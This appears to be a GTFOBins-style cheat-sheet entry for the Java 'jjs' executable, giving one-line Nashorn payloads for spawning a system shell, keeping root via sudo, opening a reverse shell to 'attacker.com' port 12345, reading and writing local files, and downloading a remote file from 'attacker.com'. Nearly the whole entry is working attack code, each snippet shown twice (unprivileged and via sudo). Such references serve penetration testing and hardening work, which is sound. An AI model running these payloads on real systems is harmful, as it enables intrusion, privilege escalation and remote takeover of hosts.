jjs
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
jjsJava.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty').waitFor()This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.jjsJava.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty').waitFor()
Reverse shell
This executable can send back a reverse system shell to a listening attacker.
- This function can be performed by any unprivileged user.
jjsvar host='attacker.com';var port=12345;var ProcessBuilder = Java.type('java.lang.ProcessBuilder');var p=new ProcessBuilder('/bin/sh', '-i').redirectErrorStream(true).start();var Socket = Java.type('java.net.Socket');var s=new Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type('java.lang.Thread').sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.jjsvar host='attacker.com';var port=12345;var ProcessBuilder = Java.type('java.lang.ProcessBuilder');var p=new ProcessBuilder('/bin/sh', '-i').redirectErrorStream(true).start();var Socket = Java.type('java.net.Socket');var s=new Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type('java.lang.Thread').sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
jjsvar FileWriter = Java.type('java.io.FileWriter');var fw=new FileWriter('/path/to/output-file');fw.write('DATA');fw.close();This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.jjsvar FileWriter = Java.type('java.io.FileWriter');var fw=new FileWriter('/path/to/output-file');fw.write('DATA');fw.close();
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
jjsvar BufferedReader = Java.type('java.io.BufferedReader');var FileReader = Java.type('java.io.FileReader');var br = new BufferedReader(new FileReader('/path/to/input-file'));while ((line = br.readLine()) != null) { print(line); }This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.jjsvar BufferedReader = Java.type('java.io.BufferedReader');var FileReader = Java.type('java.io.FileReader');var br = new BufferedReader(new FileReader('/path/to/input-file'));while ((line = br.readLine()) != null) { print(line); }
Download
This executable can download remote data.
- This function can be performed by any unprivileged user.
jjsvar URL = Java.type('java.net.URL');var ws = new URL('http://attacker.com/path/to/input-file');var Channels = Java.type('java.nio.channels.Channels');var rbc = Channels.newChannel(ws.openStream());var FileOutputStream = Java.type('java.io.FileOutputStream');var fos = new FileOutputStream('/path/to/output-file');fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);fos.close();rbc.close();This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.jjsvar URL = Java.type('java.net.URL');var ws = new URL('http://attacker.com/path/to/input-file');var Channels = Java.type('java.nio.channels.Channels');var rbc = Channels.newChannel(ws.openStream());var FileOutputStream = Java.type('java.io.FileOutputStream');var fos = new FileOutputStream('/path/to/output-file');fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);fos.close();rbc.close();